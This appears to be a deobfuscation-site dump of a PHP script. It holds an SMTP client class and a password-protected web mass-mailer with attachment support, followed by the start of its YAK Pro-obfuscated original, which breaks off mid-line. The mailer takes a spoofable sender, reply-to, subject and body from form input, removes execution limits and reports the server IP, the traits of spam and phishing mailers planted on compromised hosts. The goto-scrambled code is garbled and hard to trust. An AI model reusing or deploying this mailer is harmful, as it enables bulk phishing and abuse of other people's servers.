IugNr; yesCs: $this->edebug("Auth methods available on the server: " . implode(",", $this->server_caps["AUTH"]), self::tiXQO); goto qvgJB; dsB8G: $g8Zlo = "LOGIN"; goto MAK46; ywhb6: MrZW7: goto sPjcx; MAK46: ZNLCZ: goto GEgPS; rsw9w: $this->edebug("Requested auth method not available: " . $g8Zlo, self::tiXQO); goto JlYyk; jn0Tz: if ($this->server_caps) { goto bwnQg; } goto ifK_p; LAv8c: foreach (["CRAM-MD5", "LOGIN", "PLAIN", "XOAUTH2"] as $kerBx) { goto Dtqra; Dtqra: if (!in_array($kerBx, $this->server_caps["AUTH"])) { goto VfILx; } goto j6TR7; z7aPw: goto sD6P9; goto YDrTY; rLC1C: nvOz9: goto tMd6N; j6TR7: $g8Zlo = $kerBx; goto z7aPw; YDrTY: VfILx: goto rLC1C; tMd6N: } goto EolH9; P0NAz: $this->setError("The requested authentication method "{$g8Zlo}" is not supported by the server"); goto PdV0U; mqdLK: if (array_key_exists("EHLO", $this->server_caps)) { goto Bfggm; } goto YBRBm; sPjcx: if (!empty($g8Zlo)) { goto bzMVY; } goto LAv8c; hHXUJ: Opa_K: goto upY80; GUrz6: SjeEs: goto QCmWo; QCmWo: self::edebug("Auth method selected: " . $g8Zlo, self::tiXQO); goto jwJHH; I0znS: Bfggm: goto ECZFV; JlYyk: $g8Zlo = null; goto ywhb6; ufNLV: return true; goto q1yTW; EolH9: sD6P9: goto FoLEn; pTplu: $this->setError("Authentication is not allowed at this stage"); goto GCNYj; PdV0U: return false; goto kod9L; IFsbz: bwnQg: goto mqdLK; GEgPS: switch ($g8Zlo) { case "PLAIN": goto AHhc4; koZQz: goto GMXs1; goto M0sie; X482K: if ($this->sendCommand("User & Password", base64_encode("\x0" . $cj42v . "\x0" . $ItTkM), 235)) { goto rzTIe; } goto aJwIg; nTogy: tfkqY: goto X482K; AHhc4: if ($this->sendCommand("AUTH", "AUTH PLAIN", 334)) { goto tfkqY; } goto HZdkC; H_Y7e: rzTIe: goto koZQz; aJwIg: return false; goto H_Y7e; HZdkC: return false; goto nTogy; M0sie: case "LOGIN": goto woowL; tMb58: goto GMXs1; goto JY_RA; csqaG: CHCmO: goto tMb58; woowL: if ($this->sendCommand("AUTH", "AUTH LOGIN", 334)) { goto ypUhG; } goto TpQsm; IqtPS: return false; goto csqaG; TpQsm: return false; goto Gtpap; qX1kO: if ($this->sendCommand("Username", base64_encode($cj42v), 334)) { goto OssOx; } goto iSV2_; Gtpap: ypUhG: goto qX1kO; V4qbO: OssOx: goto K6H6d; iSV2_: return false; goto V4qbO; K6H6d: if ($this->sendCommand("Password", base64_encode($ItTkM), 235)) { goto CHCmO; } goto IqtPS; JY_RA: case "CRAM-MD5": goto YuXir; CzRyO: $gDbpQ = base64_decode(substr($this->last_reply, 4)); goto U0GT0; DxXOL: hK9AX: goto CzRyO; U0GT0: $sSHHc = $cj42v . " " . $this->hmac($gDbpQ, $ItTkM); goto PkGkk; BfYpP: return false; goto DxXOL; YuXir: if ($this->sendCommand("AUTH CRAM-MD5", "AUTH CRAM-MD5", 334)) { goto hK9AX; } goto BfYpP; PkGkk: return $this->sendCommand("Username", base64_encode($sSHHc), 235); goto VpRX0; VpRX0: case "XOAUTH2": goto mNjrK; lWB1L: return false; goto s6MM3; s6MM3: VDTpL: goto j_vCE; mNjrK: if (!(null === $greVn)) { goto WDeKr; } goto hM7VN; j_vCE: goto GMXs1; goto cqNzk; e_S57: $p02lb = $greVn->getOauth64(); goto jFETP; hM7VN: return false; goto iVkrX; iVkrX: WDeKr: goto e_S57; jFETP: if ($this->sendCommand("AUTH", "AUTH XOAUTH2 " . $p02lb, 235)) { goto VDTpL; } goto lWB1L; cqNzk: default: $this->setError("Authentication method "{$g8Zlo}" is not supported"); return false; } goto hHXUJ; q1yTW: } protected function hmac($Rr1ud, $PKEp0) { goto EaTUC; OkR9h: $JYzNY = str_pad('', $EEoXC, chr(0x5c)); goto ZcA4s; ZcA4s: $NGp1M = $PKEp0 ^ $NjH9N; goto bhvgL; bhvgL: $cQ1oh = $PKEp0 ^ $JYzNY; goto Phm3c; DecrS: IF2yT: goto il8ZC; il8ZC: $EEoXC = 64; goto OciYk; irI0b: $PKEp0 = pack("H*", md5($PKEp0)); goto od3Zr; Phm3c: return md5($cQ1oh . pack("H*", md5($NGp1M . $Rr1ud))); goto KJcC3; V4EQz: $NjH9N = str_pad('', $EEoXC, chr(0x36)); goto OkR9h; od3Zr: eaYoW: goto OX1ou; OX1ou: $PKEp0 = str_pad($PKEp0, $EEoXC, chr(0x0)); goto V4EQz; EaTUC: if (!function_exists("hash_hmac")) { goto IF2yT; } goto E04XQ; OciYk: if (!(strlen($PKEp0) > $EEoXC)) { goto eaYoW; } goto irI0b; E04XQ: return hash_hmac("md5", $Rr1ud, $PKEp0); goto DecrS; KJcC3: } public function connected() { goto b2kyR; k6QuG: if (!$bMT8n["eof"]) { goto qskyr; } goto Hwc18; vmtAx: return false; goto JnnRv; m0w7w: return false; goto RXP3F; ujKym: oglAG: goto m0w7w; Ix2cI: $bMT8n = stream_get_meta_data($this->smtp_conn); goto k6QuG; Hwc18: $this->edebug("SMTP NOTICE: EOF caught while checking if connected", self::kRSn3); goto cuW16; cuW16: $this->close(); goto vmtAx; JnnRv: qskyr: goto CP3py; b2kyR: if (!is_resource($this->smtp_conn)) { goto oglAG; } goto Ix2cI; CP3py: return true; goto ujKym; RXP3F: } public function close() { goto NksAY; EKhq8: $this->smtp_conn = null; goto D1r2c; c9Ia_: $this->helo_rply = null; goto uwRdk; uwRdk: if (!is_resource($this->smtp_conn)) { goto IXOIo; } goto qHGKG; NksAY: $this->setError(''); goto OLGqM; OLGqM: $this->server_caps = null; goto c9Ia_; D1r2c: $this->edebug("Connection: closed", self::o5nas); goto ZP2Mc; ZP2Mc: IXOIo: goto GRNl0; qHGKG: fclose($this->smtp_conn); goto EKhq8; GRNl0: } public function data($Wibcx) { goto tXEdc; Kz6rE: if (!(!empty($d0VKb) and strpos($d0VKb, " ") === false)) { goto Zy3T2; } goto ipjXt; MZsvQ: $this->Timelimit = $this->Timelimit * 2; goto PT_Tm; y9_8H: $this->recordLastTransactionID(); goto HS1z_; lCh1g: $FZAZx = explode("\xa", str_replace(["
", "\xd"], "
", $Wibcx)); goto b8IS5; HS1z_: $this->Timelimit = $B7owM; goto RtgUN; tXEdc: if ($this->sendCommand("DATA", "DATA", 354)) { goto sCxbF; } goto ijd57; IjuIJ: foreach ($FZAZx as $agbTK) { goto nb_DC; hP6GV: p99We: goto Jksnf; OJS08: goto B8qi9; goto hP6GV; xV96O: if (!$HH8gw) { goto xhr6O; } goto p6KcZ; ChzWu: $agbTK = substr($agbTK, $xVSEl); goto EWHoj; yOYUS: $agbTK = substr($agbTK, $xVSEl + 1); goto rEaXT; zXLn8: $HH8gw = false; goto YCE2k; YCE2k: Y4174: goto icjIO; hNWCp: w84H7: goto d0XRf; T2MAf: foreach ($RuIDw as $YYRrB) { goto w4Oco; cVTDO: $this->client_send($YYRrB . static::aut8U, "DATA"); goto KhluP; KAvEK: $YYRrB = "." . $YYRrB; goto irvQP; KhluP: tLEXe: goto RQSVz; irvQP: tpByH: goto cVTDO; w4Oco: if (!(!empty($YYRrB) and $YYRrB[0] == ".")) { goto tpByH; } goto KAvEK; RQSVz: } goto n0EX7; Jksnf: $RuIDw[] = $agbTK; goto T2MAf; d0XRf: $xVSEl = self::B4qnq - 1; goto jgUmz; nb_DC: $RuIDw = []; goto wAVwt; lY4pj: beOXz: goto kdC9j; rEaXT: goto IayYA; goto hNWCp; Z1YMz: $xVSEl = strrpos(substr($agbTK, 0, self::B4qnq), " "); goto t5OXm; wAVwt: if (!($HH8gw and $agbTK == '')) { goto Y4174; } goto zXLn8; icjIO: B8qi9: goto qtn5S; jgUmz: $RuIDw[] = substr($agbTK, 0, $xVSEl); goto ChzWu; dAZsJ: $RuIDw[] = substr($agbTK, 0, $xVSEl); goto yOYUS; EWHoj: IayYA: goto xV96O; qtn5S: if (!isset($agbTK[self::B4qnq])) { goto p99We; } goto Z1YMz; n0EX7: Q80bx: goto lY4pj; t5OXm: if (!$xVSEl) { goto w84H7; } goto dAZsJ; p6KcZ: $agbTK = " " . $agbTK; goto hd_a9; hd_a9: xhr6O: goto OJS08; kdC9j: } goto ZpT6A; ZpT6A: imHcL: goto W7wK8; ijd57: return false; goto XXjKU; XXjKU: sCxbF: goto lCh1g; W7wK8: $B7owM = $this->Timelimit; goto MZsvQ; b8IS5: $d0VKb = substr($FZAZx[0], 0, strpos($FZAZx[0], ":")); goto jri3W; jri3W: $HH8gw = false; goto Kz6rE; ipjXt: $HH8gw = true; goto f0Mth; RtgUN: return $oKqtC; goto C4WrP; PT_Tm: $oKqtC = $this->sendCommand("DATA END", ".", 250); goto y9_8H; f0Mth: Zy3T2: goto IjuIJ; C4WrP: } public function hello($SbhNW = '') { return $this->sendHello("EHLO", $SbhNW) or $this->sendHello("HELO", $SbhNW); } protected function sendHello($NMgXg, $SbhNW) { goto wRL0W; PCZlx: JGIWi: goto CQsU0; w6raQ: td0zs: goto oC1JX; JescE: $this->server_caps = null; goto N3Mc4; wKgQh: $this->helo_rply = $this->last_reply; goto yqACH; CQsU0: return $PRFyY; goto IVQzX; oC1JX: $this->parseHelloFields($NMgXg); goto PCZlx; N3Mc4: goto JGIWi; goto w6raQ; wRL0W: $PRFyY = $this->sendCommand($NMgXg, $NMgXg . " " . $SbhNW, 250); goto wKgQh; yqACH: if ($PRFyY) { goto td0zs; } goto JescE; IVQzX: } protected function parseHelloFields($oerFh) { goto TdAcX; TdAcX: $this->server_caps = []; goto QyX95; XCnMq: foreach ($FZAZx as $FdEr8 => $jNiB4) { goto jo5S5; UTQbo: $this->server_caps[$UxOLN] = $KTTQq; goto ip6Yx; tGgWg: goto ndKXp; goto yaDfA; enJLz: XWcdg: goto HIIjj; miwJd: if (!empty($jNiB4)) { goto A8rgZ; } goto FY7I7; raB_W: bNOqu: goto S6jAE; zQe8Q: $UxOLN = array_shift($KTTQq); goto Ae3Po; yaDfA: EJkF6: goto ygo1q; S6jAE: hMJXg: goto tGgWg; FY7I7: goto XWcdg; goto bkNMJ; Ae3Po: switch ($UxOLN) { case "SIZE": $KTTQq = $KTTQq ? $KTTQq[0] : 0; goto hMJXg; case "AUTH": goto VoIuh; EEHZw: $KTTQq = []; goto ynhvK; iL427: goto hMJXg; goto ha8En; VoIuh: if (is_array($KTTQq)) { goto F4ssQ; } goto EEHZw; ynhvK: F4ssQ: goto iL427; ha8En: default: $KTTQq = true; } goto raB_W; w2ADp: if (!$FdEr8) { goto EJkF6; } goto zQe8Q; q5Qgw: $KTTQq = $KTTQq[0]; goto nYjKT; ip6Yx: t7prE: goto enJLz; iojmG: $KTTQq = explode(" ", $jNiB4); goto VuczV; VuczV: if (empty($KTTQq)) { goto t7prE; } goto w2ADp; ygo1q: $UxOLN = $oerFh; goto q5Qgw; nYjKT: ndKXp: goto UTQbo; bkNMJ: A8rgZ: goto iojmG; jo5S5: $jNiB4 = trim(substr($jNiB4, 4)); goto miwJd; HIIjj: } goto ENYfl; QyX95: $FZAZx = explode("
", $this->helo_rply); goto XCnMq; ENYfl: M2Esy: goto gHglf; gHglf: } public function mail($iryK3) { $C1nlA = $this->do_verp ? " XVERP" : ''; return $this->sendCommand("MAIL FROM", "MAIL FROM:<" . $iryK3 . ">" . $C1nlA, 250); } public function quit($iKmjL = true) { goto Yz7t8; zpJpn: $this->close(); goto JRqD2; JRqD2: $this->error = $JlibN; goto m0Uew; MhGqF: $JlibN = $this->error; goto ziGaI; Yz7t8: $PRFyY = $this->sendCommand("QUIT", "QUIT", 221); goto MhGqF; m0Uew: e0hMD: goto WmoAc; ziGaI: if (!($PRFyY or $iKmjL)) { goto e0hMD; } goto zpJpn; WmoAc: return $PRFyY; goto UnLMs; UnLMs: } public function recipient($Jm2Lh, $ThcI6 = '') { goto IINRn; kvBOV: return $this->sendCommand("RCPT TO", $trrGz, [250, 251]); goto v1H_R; o6RrX: goto awd03; goto NGDZp; H7MCn: $trrGz = "RCPT TO:<" . $Jm2Lh . ">"; goto XBLmM; nbAja: foreach (["SUCCESS", "FAILURE", "DELAY"] as $TZqE1) { goto DvX73; DvX73: if (!(strpos($ThcI6, $TZqE1) !== false)) { goto vxggB; } goto EbHLT; EbHLT: $O93_w[] = $TZqE1; goto veOs4; av_3c: bcNBK: goto rI2ws; veOs4: vxggB: goto av_3c; rI2ws: } goto VkQAB; cIsXV: goto F6Q4l; goto vUSkA; SIDvg: $ThcI6 = strtoupper($ThcI6); goto pOPjn; IINRn: if (empty($ThcI6)) { goto sdpzN; } goto SIDvg; pOPjn: $O93_w = []; goto vEBmp; VkQAB: L1v1u: goto o6RrX; XBLmM: F6Q4l: goto kvBOV; vUSkA: sdpzN: goto H7MCn; fAJ0O: $trrGz = "RCPT TO:<" . $Jm2Lh . "> NOTIFY=" . implode(",", $O93_w); goto cIsXV; vEBmp: if (strpos($ThcI6, "NEVER") !== false) { goto wlluC; } goto nbAja; bMxvi: awd03: goto fAJ0O; NGDZp: wlluC: goto VSMcW; VSMcW: $O93_w[] = "NEVER"; goto bMxvi; v1H_R: } public function reset() { return $this->sendCommand("RSET", "RSET", 250); } protected function sendCommand($FQ3bW, $KnKJ_, $UV7Nt) { goto inXS7; anm6v: XjpE9: goto seB8A; SHxbw: $ry2pF = substr($this->last_reply, 4); goto q0pvN; QWk13: return true; goto i9cuK; OGuqa: return false; goto lxCfY; rUDfh: if (in_array($stiiU, (array) $UV7Nt)) { goto qmV7t; } goto a4EX_; wowc_: return false; goto TVOrF; a4EX_: $this->setError("{$FQ3bW} command failed", $ry2pF, $stiiU, $TUzCN); goto vw879; nTL53: $TUzCN = null; goto SHxbw; OTjOU: $LlSup = []; goto LteD2; TVOrF: krRYP: goto kLm6F; byUq4: $stiiU = substr($this->last_reply, 0, 3); goto nTL53; okzIY: eruV6: goto ELQFt; ELQFt: if (!(strpos($KnKJ_, "
") !== false or strpos($KnKJ_, "
") !== false)) { goto krRYP; } goto YogG0; inXS7: if ($this->connected()) { goto eruV6; } goto TvWVd; YogG0: $this->setError("Command '{$FQ3bW}' contained line breaks"); goto wowc_; seB8A: $stiiU = $LlSup[1]; goto npWTB; op4le: $ry2pF = preg_replace("/{$stiiU}[ -]" . ($TUzCN ? str_replace(".", "\.", $TUzCN) . " " : '') . "/m", '', $this->last_reply); goto spX5X; lxCfY: qmV7t: goto Z2yUR; q0pvN: goto pncQ3; goto anm6v; TvWVd: $this->setError("Called {$FQ3bW} without being connected"); goto GOrYW; kLm6F: $this->client_send($KnKJ_ . static::aut8U, $FQ3bW); goto M4HfU; spX5X: pncQ3: goto QZmAX; Z2yUR: $this->setError(''); goto QWk13; QZmAX: $this->edebug("SERVER -> CLIENT: " . $this->last_reply, self::eZ3Pv); goto rUDfh; vw879: $this->edebug("SMTP ERROR: " . $this->error["error"] . ": " . $this->last_reply, self::kRSn3); goto OGuqa; GOrYW: return false; goto okzIY; npWTB: $TUzCN = count($LlSup) > 2 ? $LlSup[2] : null; goto op4le; M4HfU: $this->last_reply = $this->get_lines(); goto OTjOU; LteD2: if (preg_match("/^([0-9]{3})[ -](?:([0-9]\.[0-9]\.[0-9]{1,2}) )?/", $this->last_reply, $LlSup)) { goto XjpE9; } goto byUq4; i9cuK: } public function sendAndMail($iryK3) { return $this->sendCommand("SAML", "SAML FROM:{$iryK3}", 250); } public function verify($UxOLN) { return $this->sendCommand("VRFY", "VRFY {$UxOLN}", [250, 251]); } public function noop() { return $this->sendCommand("NOOP", "NOOP", 250); } public function turn() { goto RdXU2; RdXU2: $this->setError("The SMTP TURN command is not implemented"); goto WUPwY; WUPwY: $this->edebug("SMTP NOTICE: " . $this->error["error"], self::kRSn3); goto CFedC; CFedC: return false; goto MgzjL; MgzjL: } public function client_send($Rr1ud, $FQ3bW = '') { goto wqRbn; dD63G: goto vv2Sk; goto ZVofB; Jg0ur: return $oKqtC; goto wjBrj; cq67X: set_error_handler([$this, "errorHandler"]); goto JDc3T; wqRbn: if (self::tiXQO > $this->do_debug and in_array($FQ3bW, ["User & Password", "Username", "Password"], true)) { goto y1VJe; } goto c8jGZ; RpjUg: restore_error_handler(); goto Jg0ur; c8jGZ: $this->edebug("CLIENT -> SERVER: " . $Rr1ud, self::kRSn3); goto dD63G; ZVofB: y1VJe: goto XNpyd; N_Uh8: vv2Sk: goto cq67X; JDc3T: $oKqtC = fwrite($this->smtp_conn, $Rr1ud); goto RpjUg; XNpyd: $this->edebug("CLIENT -> SERVER: <credentials hidden>", self::kRSn3); goto N_Uh8; wjBrj: } public function getError() { return $this->error; } public function getServerExtList() { return $this->server_caps; } public function getServerExt($UxOLN) { goto uE8Xk; Fw2yi: if (array_key_exists($UxOLN, $this->server_caps)) { goto wADm6; } goto uGxI2; uGxI2: if (!("HELO" == $UxOLN)) { goto U8Kgl; } goto jfYNK; eUmM2: return; goto zNMZX; DoY8S: U8Kgl: goto SgSZZ; xh_PA: return; goto UK2sg; zNMZX: nMLdC: goto Fw2yi; SgSZZ: if (!("EHLO" == $UxOLN || array_key_exists("EHLO", $this->server_caps))) { goto EeCtj; } goto jGb3W; jGb3W: return false; goto lHqq1; uE8Xk: if ($this->server_caps) { goto nMLdC; } goto fewFk; lHqq1: EeCtj: goto gfNwv; jfYNK: return $this->server_caps["EHLO"]; goto DoY8S; O6uw5: return $this->server_caps[$UxOLN]; goto mtY6l; gfNwv: $this->setError("HELO handshake was used; No information about server extensions available"); goto xh_PA; UK2sg: wADm6: goto O6uw5; fewFk: $this->setError("No HELO/EHLO was sent"); goto eUmM2; mtY6l: } public function getLastReply() { return $this->last_reply; } protected function get_lines() { goto r0lqE; VTsTP: NnbGq: goto FKXbo; vwr00: goto NnbGq; goto OkuL6; n6oBG: if (!(!isset($F2YZh[3]) or isset($F2YZh[3]) and $F2YZh[3] == " ")) { goto lCmW3; } goto vwr00; uFC1X: $this->edebug("SMTP -> get_lines(): timelimit reached (" . $this->Timelimit . " sec)", self::tiXQO); goto t_jrD; LT3WU: $this->edebug("SMTP -> get_lines(): timed-out (" . $this->Timeout . " sec)", self::tiXQO); goto Wi0GW; uTxNX: if (!(is_resource($this->smtp_conn) and !feof($this->smtp_conn))) { goto NnbGq; } goto EMx7H; eHlXc: $BpdVo = stream_get_meta_data($this->smtp_conn); goto f3NwG; t_jrD: goto NnbGq; goto PsIIv; FKXbo: return $Rr1ud; goto aYejH; gYUzF: goto NnbGq; goto Kilzs; xd7Zn: Agvjz: goto iiVcG; dGJP0: gqx38: goto Jkcse; syDXR: $KGz1F = 0; goto bcfDv; OkuL6: lCmW3: goto eHlXc; Jkcse: if (!($KGz1F and time() > $KGz1F)) { goto J34dn; } goto uFC1X; iiVcG: $Rr1ud = ''; goto syDXR; bcfDv: stream_set_timeout($this->smtp_conn, $this->Timeout); goto hpyGg; SOPZB: $UlbiQ = null; goto uM2rj; PsIIv: J34dn: goto PVb1L; r0lqE: if (is_resource($this->smtp_conn)) { goto Agvjz; } goto TY3TX; uM2rj: nJuyF: goto uTxNX; DayJK: $Rr1ud .= $F2YZh; goto n6oBG; Kilzs: TqE_w: goto HVKdi; EiPLZ: hqWoM: goto NH1Ho; TY3TX: return ''; goto xd7Zn; hpyGg: if (!($this->Timelimit > 0)) { goto hqWoM; } goto eYjnJ; pH05L: $this->edebug("SMTP INBOUND: "" . trim($F2YZh) . """, self::tiXQO); goto DayJK; NH1Ho: $i_O4U = [$this->smtp_conn]; goto SOPZB; eYjnJ: $KGz1F = time() + $this->Timelimit; goto EiPLZ; iUvPd: $this->edebug("SMTP -> get_lines(): timed-out (" . $this->Timeout . " sec)", self::tiXQO); goto gYUzF; PVb1L: goto nJuyF; goto VTsTP; Wi0GW: goto NnbGq; goto dGJP0; HVKdi: $F2YZh = @fgets($this->smtp_conn, 515); goto pH05L; EMx7H: if (stream_select($i_O4U, $UlbiQ, $UlbiQ, $this->Timelimit)) { goto TqE_w; } goto iUvPd; f3NwG: if (!$BpdVo["timed_out"]) { goto gqx38; } goto LT3WU; aYejH: } public function setVerp($v2PLa = false) { $this->do_verp = $v2PLa; } public function getVerp() { return $this->do_verp; } protected function setError($upS1q, $ry2pF = '', $ksELJ = '', $QR86M = '') { $this->error = ["error" => $upS1q, "detail" => $ry2pF, "smtp_code" => $ksELJ, "smtp_code_ex" => $QR86M]; } public function setDebugOutput($kerBx = "echo") { $this->Debugoutput = $kerBx; } public function getDebugOutput() { return $this->Debugoutput; } public function setDebugLevel($qpGNY = 0) { $this->do_debug = $qpGNY; } public function getDebugLevel() { return $this->do_debug; } public function setTimeout($twKNw = 0) { $this->Timeout = $twKNw; } public function getTimeout() { return $this->Timeout; } protected function errorHandler($xkLVV, $dDy7u, $tZvy9 = '', $kQb8f = 0) { goto KSAe7; XjR63: $this->edebug("{$aGzj6} Error #{$xkLVV}: {$dDy7u} [{$tZvy9} line {$kQb8f}]", self::o5nas); goto V2utL; yFQkY: $this->setError($aGzj6, $dDy7u, (string) $xkLVV); goto XjR63; KSAe7: $aGzj6 = "Connection failed."; goto yFQkY; V2utL: } protected function recordLastTransactionID() { goto Ue8s3; PAhxb: $this->last_smtp_transaction_id = false; goto vVjef; ydbeA: uY_hk: goto vUYkF; HzSrh: if (empty($gk5Bj)) { goto EzhB9; } goto PAhxb; NLvZh: $this->last_smtp_transaction_id = null; goto d5lmj; d5lmj: bl9SV: goto L5D6O; L5D6O: return $this->last_smtp_transaction_id; goto oWFAj; Ue8s3: $gk5Bj = $this->getLastReply(); goto HzSrh; vVjef: foreach ($this->smtp_transaction_id_patterns as $b3qnQ) { goto mZCVo; zmSYt: CAkx_: goto yTMBp; bLBlZ: $this->last_smtp_transaction_id = trim($LlSup[1]); goto ogo6T; mZCVo: if (!preg_match($b3qnQ, $gk5Bj, $LlSup)) { goto CAkx_; } goto bLBlZ; yTMBp: h1ZX4: goto rrlt9; ogo6T: goto uY_hk; goto zmSYt; rrlt9: } goto ydbeA; oG6st: EzhB9: goto NLvZh; vUYkF: goto bl9SV; goto oG6st; oWFAj: } public function getLastTransactionID() { return $this->last_smtp_transaction_id; } } goto ayVpR; k6JEr: function bEl3_() { goto gdbpA; aofGi: $s18bE->AddAttachment($_FILES["attachment"]["tmp_name"][$Bkv4C], $_FILES["attachment"]["name"][$Bkv4C]); goto MJ0pe; LSXMX: $s18bE->AltBody = $cH4jo; goto mZpbx; rwvGA: $s18bE->Priority = $YawiP; goto gtOK9; nJIHE: MDHze: goto uJAW5; MJ0pe: pU39u: goto fA8sz; bjMTk: BBr1r: goto qBKhZ; nt003: if (!(isset($wJr9D) && $wJr9D !== '')) { goto mBqYj; } goto f4CK_; NtqYB: $YawiP = $GLOBALS["emailPriority"]; goto dCL3t; ZSh9j: $wJr9D = N1Vj2($GLOBALS["replyTo"], $GLOBALS["recipient"]); goto cwiiY; IVyIa: if (!(isset($YawiP) && $YawiP !== '')) { goto zIr3j; } goto rwvGA; naE30: goto JzEaO; goto YkgDm; h3kFZ: eoxIW: goto j7wD5; x628A: $s4bph = N1vJ2($GLOBALS["messageSubject"], $GLOBALS["recipient"]); goto lALju; ePzPN: exit("Incorrect Email"); goto h3kFZ; pp5RZ: $s18bE->Body = $qKvMM; goto bjMTk; QOJnk: etDNR: goto zTRHB; qBKhZ: if (!(isset($AKSdI) && $AKSdI !== '')) { goto ZBj2c; } goto LZdIk; dCL3t: $s18bE->setFrom($B4yT4, $ccwKe); goto nt003; zTRHB: exit($s18bE->ErrorInfo); goto nJIHE; mZpbx: nedsc: goto Yt8WD; dLqkk: ZBj2c: goto IVyIa; e48UM: VfADg: goto UxxVg; JRMcT: $cH4jo = N1vJ2($GLOBALS["altMessageLetter"], $GLOBALS["recipient"]); goto N3EOA; f4CK_: $s18bE->addReplyTo($wJr9D); goto oA7jU; UrdgD: if (!(isset($cH4jo) && $cH4jo !== '')) { goto nedsc; } goto LSXMX; YkgDm: ZhXmk: goto RF5tc; AtZsG: $B4yT4 = n1Vj2($GLOBALS["senderEmail"], $GLOBALS["recipient"]); goto qvgv0; Ys90C: exit("OK"); goto vly7C; N3EOA: $AKSdI = $GLOBALS["encodingType"]; goto Jo6Xk; cwiiY: $cA6Tl = $GLOBALS["recipient"]; goto x628A; Zhsho: $Bkv4C = 0; goto HTg7M; UxxVg: if (!(isset($qKvMM) && $qKvMM !== '')) { goto BBr1r; } goto pp5RZ; HTg7M: XVZJh: goto DO7Ke; bB0vI: $Bkv4C++; goto WkyAh; g4g78: $s18bE->addAddress($cA6Tl); goto c2nou; RnC2v: $s18bE->IsHTML(false); goto naE30; WkyAh: goto XVZJh; goto PcJc6; ysXJU: nbcRq: goto K48VW; fA8sz: vRbLW: goto bB0vI; PcJc6: dCcOj: goto ysXJU; DO7Ke: if (!($Bkv4C < count($_FILES["attachment"]["name"]))) { goto dCcOj; } goto d0xDf; qvgv0: $ccwKe = N1Vj2($GLOBALS["senderName"], $GLOBALS["recipient"]); goto ZSh9j; d0xDf: if (!($_FILES["attachment"]["tmp_name"][$Bkv4C] != '')) { goto pU39u; } goto aofGi; Jo6Xk: $b4RBh = $GLOBALS["messageType"]; goto NtqYB; RF5tc: $s18bE->IsHTML(true); goto LBL27; vly7C: goto MDHze; goto QOJnk; S1uyf: if (!$s18bE->send()) { goto etDNR; } goto Ys90C; lALju: $qKvMM = n1Vj2($GLOBALS["messageLetter"], $GLOBALS["recipient"]); goto JRMcT; K48VW: if ($b4RBh == "html") { goto ZhXmk; } goto RnC2v; gdbpA: if (P4u5V($GLOBALS["recipient"])) { goto eoxIW; } goto ePzPN; oA7jU: mBqYj: goto g4g78; LBL27: JzEaO: goto S1uyf; c2nou: if (!(isset($s4bph) && $s4bph !== '')) { goto VfADg; } goto Dlr0A; gtOK9: zIr3j: goto UrdgD; Yt8WD: if (!isset($_FILES["attachment"])) { goto nbcRq; } goto Zhsho; j7wD5: $s18bE = Rs1sS(); goto AtZsG; LZdIk: $s18bE->CharSet = $AKSdI; goto dLqkk; Dlr0A: $s18bE->Subject = $s4bph; goto e48UM; uJAW5: } goto pjheB; MCYKv: echo $JQ8bC["website"]; goto EXQwA; rI3Mz: $_SESSION[$Lb9QH] = ''; goto b0WLz; FrOX5: $jRul4 = y_QNk($_POST["messageLetter"]); goto aCn4_; ErDDs: header("Cache-Control: post-check=0, pre-check=0", false); goto gZj4e; oWdrj: session_start(); goto YtCF1; zHbb2: header("Access-Control-Allow-Origin: *"); goto ymLYr; juWAo: $YawiP = Y_qNk($_POST["emailPriority"]); goto UjDU6; Udxcu: echo basename($_SERVER["PHP_SELF"]); goto lDoCJ; Ne44a: rrhGK: goto S1fac; dau_h: exit; goto FVzpz; YYDF_: echo $_SERVER["SERVER_ADDR"]; goto fuvfk; gZj4e: header("Pragma: no-cache"); goto zHbb2; Eg4q4: echo " <div class="col-lg-6"><br>\xa <label for="well">Instruction</label>
<div id="well" class="well well">\xa <h4>Server Information</h4>\xa <ul>\xa <li>ServerIP : <b> "; goto YYDF_; z3_Z8: $htb27 = $_SERVER["PHP_SELF"]; goto AzikD; Rii2h: $Lb9QH = md5(__FILE__); goto pO0Ob; O6zYs: $GLOBALS["messageSubject"] = stripslashes($jLuqI); goto TC94O; UjDU6: $GLOBALS["emailPriority"] = stripslashes($YawiP); goto e0hHF; pjheB: function y_QnK($Yc9br) { return stripslashes(ltrim(rtrim($Yc9br))); } goto v5m75; AzikD: if (!(isset($_POST["action"]) && $_POST["action"] == "send")) { goto X8Cax; } goto hvxwp; vxTC9: $GLOBALS["smtpAcct"] = Y_QNK($_POST["smtpAcct"]); goto aq1zl; ayVpR: class E213S extends Exception { public function errorMessage() { $vRf0b = "<strong>" . $this->getMessage() . "</strong><br />\xa"; return $vRf0b; } } goto VUR9T; fDfnh: $GLOBALS["encodingType"] = stripslashes($v23Vu); goto juWAo; H7MwT: echo date("m/d/Y h:i:s a", time()); goto t7vOA; S1fac: $_SESSION[$Lb9QH] = $ItTkM; goto I9WuO; IFWPC: $YrLQ5 = Y_Qnk($_POST["altMessageLetter"]); goto xVqH9; E7TKP: echo $JQ8bC["version"]; goto Swlum; EXQwA: echo "</a></b></h6>\xa </div>\xa\xa <div id="progress" class="col-lg-16">\xa
</div>\xa </div>
<script>
$("#btnStart").attr("disabled", false);\xa $("#btnStop").attr("disabled", true);\xa</script>\xa</body>
<footer></footer>\xa\xa</html>";
?>
Did this file decode correctly?
Original Code
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2024-12-20 00:57:24 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
goto oWdrj; dRdid: $GLOBALS["\162\145\x70\154\171\x54\x6f"] = Y_QNK($_POST["\x72\x65\160\x6c\171\124\x6f"]); goto FrOX5; YtCF1: set_time_limit(0); goto uenT2; EgTNn: $GLOBALS["\155\145\163\x73\141\147\x65\114\x65\x74\x74\x65\162"] = stripslashes($jRul4); goto IFWPC; FVzpz: goto mjEOz; goto Ne44a; XxfxQ: if (isset($_REQUEST["\160\141\163\163"]) and $_REQUEST["\x70\141\x73\x73"] == $ItTkM) { goto rrhGK; } goto X7Yug; uenT2: ini_set("\x6d\145\155\x6f\x72\x79\x5f\x6c\x69\x6d\151\x74", -1); goto KCr0n; fuvfk: echo 